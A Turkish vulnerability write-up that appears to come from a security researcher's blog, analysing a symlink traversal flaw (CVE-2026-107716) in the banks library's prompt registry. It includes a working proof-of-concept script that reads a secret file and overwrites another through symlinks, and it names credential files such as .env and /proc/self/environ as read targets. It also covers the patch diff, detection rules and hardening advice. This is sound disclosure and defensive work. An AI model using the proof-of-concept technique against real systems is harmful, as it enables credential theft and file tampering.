---
title: "CVE-2026-107716: banks Prompt Registry'de Sembolik Link Geçişi"
description: "CVE-2026-107716 kök neden analizi: banks içindeki DirectoryPromptRegistry, prompt dizini dışına işaret eden sembolik linkleri izliyordu; bu yüzden bir link, _scan() ve get() üzerinden keyfi bir dosyanın okunmasına veya set() ve index.json üzerinden üzerine yazılmasına yol açabiliyordu."
date: 2026-10-07
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/arastirma/cve-2026-107716-banks-symlink-traversal/
---

> **İfşa:** CVE-2026-107716 (CWE-59, CWE-22), 2.5.0'a kadar `banks` sürümlerini etkiler. Zafiyeti `jankesec` olarak bakımcı `masci`'ye bildirdim. 2.5.1 sürümünde [PR #79](https://github.com/masci/banks/pull/79) ile düzeltildi ve [GHSA-556j-vv39-8rqv](https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv) olarak yayımlandı. GitHub, CNA olarak zafiyeti CVSS 4.0 7.3 (Yüksek) puanladı: `CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`.

`banks` içindeki `DirectoryPromptRegistry`, prompt'ları bir dizinde dosya olarak saklar. 2.5.0 sürümüne kadar bu dosyaları ve onları listeleyen `index.json` dosyasını, sembolik link olup olmadıklarını denetlemeden okuyup yazıyordu. Bu nedenle prompt dizinine yerleştirilen bir symlink, registry'nin sürecin erişebildiği herhangi bir dosyayı okumasına veya üzerine yazmasına yetiyordu.

Saldırganın prompt dizinine bir symlink sokması gerekir. Dizin güvenilmeyen girdiden doldurulduğunda bu mümkündür: açılmış bir arşiv, klonlanmış bir depo veya kiracılar arasında paylaşılan bir klasör bunun tipik kaynaklarıdır. Ardından uygulamanın o dizinden prompt yüklemesi veya kaydetmesi gerekir; `DirectoryPromptRegistry` bunu oluşturulurken ve her `set()` çağrısında yapar. Yani zafiyet, tek başına bir dosya okuma hatası değil, "dizine yazılan her şey güvenilirdir" varsayımının doğrudan sonucudur. Etki, sürecin izinleriyle sınırlıdır: uygulama root olarak çalışıyorsa okunan veya üzerine yazılan dosya da root kapsamına girer. Bu ayrım, zafiyetin neden özellikle çok kiracılı ve arşiv açan yapay zekâ servislerinde ağır sonuçlar doğurabileceğini açıklar. **Güvenlik Sınırı:** Registry kökü, sürecin erişebildiği dosya sistemine karşı tek savunma hattı olarak tasarlanmıştı; ancak bu sınır dosya sistemi katmanında hiçbir zaman uygulanmadı.

## Registry prompt'ları nasıl saklıyor

- Her prompt, registry dizininde `<ad>.<sürüm>.jinja` adlı bir dosyadır. `index.json` bunları listeler.
- Bir `DirectoryPromptRegistry` oluşturulduğunda, `index.json` yoksa (veya `force_reindex=True` verilmişse) `_scan()` çalışır; aksi halde `_load()` çağrılır.
- `_scan()` her `*.jinja*` dosyasını açar, metnini indekse yazar ve `index.json` dosyasını oluşturur.
- `get(name=..., version=...)` indeksten bir prompt döndürür.
- `set(prompt=...)` prompt dosyasını yazar ve ardından `index.json` dosyasını yeniden oluşturmak için `_save()` çağırır.

## Kök neden: her okuma ve yazmada link denetimi yok

2.5.0 sürümü, dizin dışına çıkan prompt adlarını zaten reddediyordu (güvenlik bildirisi PR #77'ye işaret eder); ancak bir dosyanın symlink olup olmadığını hiç sormuyordu. Aşağıdaki yazma ve okuma işlemleri, POSIX üzerinde `open()` fonksiyonunun yaptığı gibi linkleri izler:

```python
        version = prompt.version or DEFAULT_VERSION
        prompt_file = _resolve_prompt_file(path, prompt.name, version)
        prompt_file.write_text(prompt.raw)
```

```python
    def _save(self):
        """Save the prompt index to disk."""
        self._index_path.write_text(self._index.model_dump_json())

    def _scan(self):
        """Scan directory for prompt files and build the index."""
        self._index: PromptFileIndex = PromptFileIndex()
        for path in self._path.glob("*.jinja*"):
            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
            with path.open("r") as f:
                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
                self._index.files.append(pf)
        self._index_path.write_text(self._index.model_dump_json())
```

Güvenlik bildirisi üç noktayı sıralar:

1. `index.json` hiç denetlenmez. `_save()` bir linkin hedefinin üzerine yazar, `_load()` ise o hedefi okur.
2. `_scan()`, `is_symlink()` çağrısı yapmadan veya çözümlenen yolun registry kökünden çıkıp çıkmadığını denetlemeden `.jinja` dosyalarını açar.
3. `set()`, bir prompt dosyasının zaten symlink olup olmadığını denetlemeden yazar.

Gizli bir dosyayı işaret eden `leak.0.jinja` adlı bir link indekse okunur. `index.json` adlı bir link ise `_save()` tarafından yazılarak hedef dosyanın üzerine yazar. Her iki durumda da registry kökü sınır olarak tasarlanmıştı; ancak sınır yalnızca mantıksal bir varsayım olarak kaldı ve dosya sistemi katmanında hiçbir zaman uygulanmadı. Kritik nokta şudur: dosyanın adı dizin içinde görünse bile, işletim sistemi açma veya yazma anında linki çözer ve işlemi tamamen başka bir yere yönlendirir.

<figure class="diagram">
<svg viewBox="0 0 760 270" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="CVE-2026-107716. Bir prompt dizini; normal bir prompt dosyası, gizli bir dosyaya işaret eden leak.0.jinja sembolik linki ve bir yapılandırma dosyasına işaret eden index.json sembolik linki içerir. _scan() ilk linki dizine okur ve get() onu döndürür. _save() dizin JSON'unu ikinci link üzerinden yazar ve yapılandırma dosyasının üzerine yazar.">
<defs><marker id="sym-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="14" class="dg-muted">CVE-2026-107716 · PROMPT DİZİNİNDE SEMBOLİK LİNKLER</text>
<rect x="0" y="32" width="340" height="226" rx="8" class="dg-box" />
<text x="16" y="54" class="dg-label">PROMPT DİZİNİ</text>
<text x="16" y="72" class="dg-mono dg-compact">/var/app/prompts/</text>
<rect x="16" y="86" width="308" height="34" rx="6" class="dg-box" />
<text x="28" y="108" class="dg-mono">system.0.jinja (normal dosya)</text>
<rect x="16" y="130" width="308" height="44" rx="6" class="dg-box-danger" />
<text x="28" y="150" class="dg-label">leak.0.jinja (sembolik link)</text>
<text x="28" y="166" class="dg-danger dg-compact">→ /etc/app/secret.env</text>
<rect x="16" y="184" width="308" height="44" rx="6" class="dg-box-danger" />
<text x="28" y="204" class="dg-label">index.json (sembolik link)</text>
<text x="28" y="220" class="dg-danger dg-compact">→ /etc/app/config.conf</text>
<text x="16" y="248" class="dg-muted dg-compact">Linkler bir arşiv, klon veya paylaşılan klasörle gelir</text>
<line x1="324" y1="152" x2="430" y2="120" class="dg-line-crit" marker-end="url(#sym-arrow)" />
<line x1="324" y1="206" x2="430" y2="206" class="dg-line-crit" marker-end="url(#sym-arrow)" />
<rect x="436" y="32" width="324" height="226" rx="8" class="dg-box" />
<text x="452" y="54" class="dg-label">KAYIT KÖKÜNÜN DIŞINDA</text>
<text x="452" y="72" class="dg-mono dg-compact">Kayıt kökü sınır olarak tasarlanmıştı</text>
<rect x="452" y="90" width="292" height="66" rx="6" class="dg-box-danger" />
<text x="464" y="112" class="dg-label">OKUMA: secret.env</text>
<text x="464" y="130" class="dg-danger">_scan() metni dizine kaydeder</text>
<text x="464" y="146" class="dg-mono dg-compact">get() onu çağırana döndürür</text>
<rect x="452" y="170" width="292" height="66" rx="6" class="dg-box-danger" />
<text x="464" y="192" class="dg-label">ÜZERİNE YAZMA: config.conf</text>
<text x="464" y="210" class="dg-danger">set() → _save() index.json'u yazar</text>
<text x="464" y="226" class="dg-mono dg-compact">write_text() linki takip eder</text>
</svg>
<figcaption><code>DirectoryPromptRegistry</code>, dizinindeki her dosyayı linkin nereye işaret ettiğini denetlemeden açar ve yazar.</figcaption>
</figure>

## Kavram kanıtı

Kavram kanıtı, güvenlik bildirisinde yer alan betiktir. İlk yarı registry dizinine bir symlink yerleştirip onun üzerinden okuma yapar. İkinci yarı `index.json` dosyasını başka bir dosyaya yönlendirir ve registry'nin o dosyanın üzerine yazmasını sağlar:

```python
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
```

`force_reindex=True` verildiğinde kurucu `_scan()` çalıştırır; bu da `leak.0.jinja` dosyasını link üzerinden okur ve `get()` o metni döndürür. İkinci yarıda `set()` önce `test.1.jinja` dosyasını yazar, ardından `_save()` `index.json` dosyasını yeniden oluşturur. `index.json` aslında `/tmp/target.conf` dosyasına bir link olduğu için o dosya `ORIGINAL` yerine registry'nin indeks JSON'unu içerir.

2.5.1 sürümünde kurucu artık `InvalidPromptError` fırlatır; çünkü `_scan()` symlink olan prompt dosyasını reddeder. Yani düzeltme yalnızca yazma yolunu değil, daha nesne oluşturulurken okuma yolunu da kapatır. Bu davranış, hatalı yapılandırılmış bir dizinin sessizce kabul edilmesi yerine uygulamanın erken ve açık biçimde başarısız olmasını sağlar.

## Kanıt matrisi

| Kanıt | Neyi gösteriyor | Sonuç |
| :--- | :--- | :--- |
| [GHSA-556j-vv39-8rqv](https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv) | GitHub'ın CNA olarak yayımladığı güvenlik bildirisi | 2026-10-08 tarihinde yayımlandı. CWE-22 ve CWE-59. `<= 2.5.0` etkileniyor, 2.5.1 düzeltildi. |
| CVE kaydı | CNA tarafından atanan önem derecesi | CVSS 4.0 7.3 (Yüksek) |
| Düzeltme PR #79 (`23ed13e`) | Symlink denetimleri, kök içinde kalma denetimleri ve `O_NOFOLLOW` ile yazma | 2026-09-10 tarihinde regresyon testleriyle birleştirildi |
| PyPI üzerindeki `banks` 2.5.1 | Düzeltmeyi içeren sürüm | 2026-09-10 tarihinde yüklendi |
| Güvenlik bildirisindeki PoC, ilk yarı | Symlink olan `leak.0.jinja` üzerinde `get()` | 2.5.0 sürümünde link hedefinin metnini döndürür |
| Güvenlik bildirisindeki PoC, ikinci yarı | `index.json` başka bir dosyaya linkliyken `set()` | 2.5.0 sürümünde link hedefinin üzerine yazar |
| Negatif kontrol (2.5.1) | Düzeltmedeki `_scan()` ve `_validate_index_path()` kod incelemesi | Symlink prompt dosyaları ve symlink `index.json`, `InvalidPromptError` fırlatır |

## Düzeltme (PR #79)

[PR #79](https://github.com/masci/banks/pull/79) (commit `23ed13e`) 2026-09-10 tarihinde birleştirildi ve aynı gün 2.5.1 olarak yayımlandı. Registry'nin okuduğu veya yazdığı her yola bir symlink denetimi ve kök içinde kalma denetimi ekler; platform desteklediğinde yazmayı `O_NOFOLLOW` ile yapar. Her hata `InvalidPromptError` fırlatır. Aşağıdaki alıntılar PR diff'inden alınmıştır.

Yazma işlemleri, linkleri izlemeyi reddeden bir yardımcıdan geçer. `O_NOFOLLOW` bulunmayan platformlarda (Windows) yardımcı `write_text()` çağrısına geri döner ve daha önceki denetimlere güvenir:

```diff
--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
 DEFAULT_INDEX_NAME = "index.json"
 
 
+def _write_file_no_follow(path: Path, content: str) -> None:
+    """Write content to a file, strictly refusing to follow symbolic links."""
+    no_follow = getattr(os, "O_NOFOLLOW", None)
+    if no_follow is not None:
+        try:
+            fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+        except OSError as exc:
+            msg = f"Path is a symbolic link or cannot be opened: {path}"
+            raise InvalidPromptError(msg) from exc
+        with os.fdopen(fd, "w", encoding="utf-8") as f:
+            f.write(content)
+    else:
+        # Platform does not support O_NOFOLLOW (e.g. Windows);
+        # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+        path.write_text(content, encoding="utf-8")
+
+
 def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
     """Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
     if Path(name).is_absolute():
```

`index.json` kendi denetimini alır:

```diff
@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
         else:
             self._load()
 
+    def _validate_index_path(self):
+        if self._index_path.is_symlink():
+            msg = f"Index file cannot be a symbolic link: {self._index_path}"
+            raise InvalidPromptError(msg)
+        if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+            msg = f"Index file escapes registry root: {self._index_path}"
+            raise InvalidPromptError(msg)
+
     @property
     def path(self) -> Path:
         """Get the directory path where prompts are stored."""
```

`_load()` ve `_save()` bu denetimi çağırır. `_scan()` symlink'leri ve kök dışına çıkan yolları reddeder ve sonunda `_save()` çağırır:

```diff
@@ -167,17 +207,34 @@ def _load(self):
 
     def _save(self):
         """Save the prompt index to disk."""
-        self._index_path.write_text(self._index.model_dump_json())
+        self._validate_index_path()
+        _write_file_no_follow(self._index_path, self._index.model_dump_json())
 
     def _scan(self):
         """Scan directory for prompt files and build the index."""
-        self._index: PromptFileIndex = PromptFileIndex()
-        for path in self._path.glob("*.jinja*"):
-            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
-            with path.open("r") as f:
-                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+        self._validate_index_path()
+        self._index = PromptFileIndex()
+        root = self._path.resolve()
+        for path in sorted(self._path.rglob("*.jinja")):
+            if not path.is_file():
+                continue
+            if path.is_symlink():
+                msg = f"Symbolic links are not allowed in prompt registry: {path}"
+                raise InvalidPromptError(msg)
+            resolved = path.resolve()
+            if not resolved.is_relative_to(root):
+                msg = f"Prompt path escapes registry root: {path}"
+                raise InvalidPromptError(msg)
+
+            rel = path.relative_to(self._path)
+            stem = rel.stem
+            name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+            full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+            with path.open("r", encoding="utf-8") as f:
+                pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
                 self._index.files.append(pf)
-        self._index_path.write_text(self._index.model_dump_json())
+        self._save()
```

`_resolve_prompt_file()` ayrıca, bir prompt yolu symlink ise onu çözümlemeden önce reddeder. Bu ayrıntı önemlidir: denetim ile dosyanın açılması arasındaki yarış penceresini daraltır, ancak tek başına tüm yarışları ortadan kaldırmaz. Bu nedenle yazma tarafında `O_NOFOLLOW` gibi atomik bir koruma tercih edilmiştir.

## Yapay zeka varlık hattı tehdit modeli

Prompt kayıt defterleri ve şablon yükleyiciler, LLM mimarilerinde genellikle gözden kaçan bir güven sınırını temsil eder. Çok kiracılı platformlarda, harici katkıcılar veya prompt mühendisleri merkezi yapay zeka çıkarım işçisi tarafından tüketilen prompt paketleri (ZIP, tarball veya Git deposu aracılığıyla) yükler:

- **Okuma vektörü:** Prompt kayıt defteri sembolik linkleri reddetmezse, `/app/.env` veya `/proc/self/environ` dosyalarını hedefleyen içe aktarılmış bir prompt şablonu; çalışma zamanı API anahtarlarını, veritabanı parolalarını ve LLM servis belirteçlerini prompt işleme motoruna sızdırır.
- **Yazma vektörü:** `DirectoryPromptRegistry.set()` dosyaları ve `index.json` kaydını doğrudan diske yazdığından, uygulama kodunu veya sistem yapılandırma dosyalarını işaret eden bir symlink; prompt kaydetme hakkına sahip bir saldırgana keyfi dosya üzerine yazma ve potansiyel kod çalıştırma imkanı verir.

## Tespit mühendisliği ve telemetri

LLM altyapısı işleten kurumlar, prompt dizinlerinde sembolik link kötüye kullanımını ana makine, boru hattı ve konteyner seviyesinde tespit edebilir.

### 1. Linux Auditd dosya denetimi

LLM şablonları ve kayıt defterleri için ayrılmış dizinlerde sembolik link oluşturulmasını izleyen bir `auditd` kuralı devreye alınır:

```bash
# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Prompt dizininde symlink sistem çağrılarını izle
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created
```

Güvenilmeyen bir arşiv prompt dizinine sembolik link çıkardığında `auditd` şu kaydı üretir:

```text
type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
  a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
  auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"
```

### 2. CI/CD Git boru hattı ön denetimi

Prompt paketleri üretim ortamına girmeden önce sembolik link içeren commit'leri engelleyin:

```bash
#!/usr/bin/env bash
# Git pre-receive / CI doğrulama kancası
# Prompt dizininde commit edilmiş sembolik linkleri reddet
if git ls-files -s prompts/ | grep -q "^120000"; then
    echo "[-] REDDEDİLDİ: Prompt deposunda sembolik link tespit edildi." >&2
    exit 1
fi
```

### 3. Güvenli arşiv açma

Kullanıcı tarafından sağlanan prompt paketlerini açarken sıkı çıkarma filtreleri uygulayın (Python 3.12+ `tarfile.data_filter`):

```python
import tarfile

# Hedef dizin dışına çıkan symlink'leri engelleyen güvenli çıkarma
with tarfile.open("untrusted_prompts.tar.gz") as tar:
    tar.extractall(path="/var/app/prompts", filter="data")
```

## ATT&CK teknik eşleşmesi

| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
| :--- | :--- | :--- | :--- | :--- |
| **Discovery** | `T1083` | File and Directory Discovery | Kritik yerel dosyaları hedefleyen `leak.0.jinja` symlink'i prompt indeksine okunur. | `is_symlink()` ile symlink'leri reddet ve dizin sınırını doğrula. |
| **Credential Access** | `T1552.001` | Unsecured Credentials: Credentials in Files | Prompt okuyucu kök dışındaki `.env` dosyalarından kimlik bilgilerini sızdırır. | Prompt süreçlerini izole et; işçiyi en düşük DAC yetkileriyle çalıştır. |
| **Impact** | `T1565.001` | Data Manipulation: Stored Data Manipulation | Sembolik linkli `index.json` üzerinden yazma ana makinedeki yapılandırma dosyalarını ezer. | Dosyaları `O_NOFOLLOW` ile aç; mutlak yol sınırını doğrula. |
| **Initial Access** | `T1195.002` | Supply Chain Compromise: Vulnerable Component | Hatalı prompt kütüphanesi kiracılar arası dosya sistemi erişimine yol açar. | `banks>=2.5.1` sürümüne yükselt. |

## Çıkarımlar

Bu zafiyet, "dizin içindeki dosya" ile "dizine ait dosya" arasındaki farkı gösterir; bir dosyanın adı doğru görünse bile hedefi tamamen farklı olabilir. Aşağıdaki maddeler, bu farkı somut savunma adımlarına dönüştürür.

1. Güvenilmeyen girdiden doldurulan bir dizin güvenilmezdir; içindeki her linkin hedefi de güvenilmezdir.
2. `open()`, `Path.read_text()` ve `Path.write_text()` symlink'leri izler. Mümkünse `os.O_NOFOLLOW` ile açın; düzeltme bunu yazma işlemlerinde yapar. Bir denetimden sonra açma işlemi, araya sokulan bir link ile hâlâ yarışabilir.
3. Zip veya tar arşivlerini açarken, dosyalar uygulama dizinine ulaşmadan önce symlink girdilerini atlayın veya reddedin.

`banks` 2.5.1 veya daha yeni bir sürüme yükseltin.
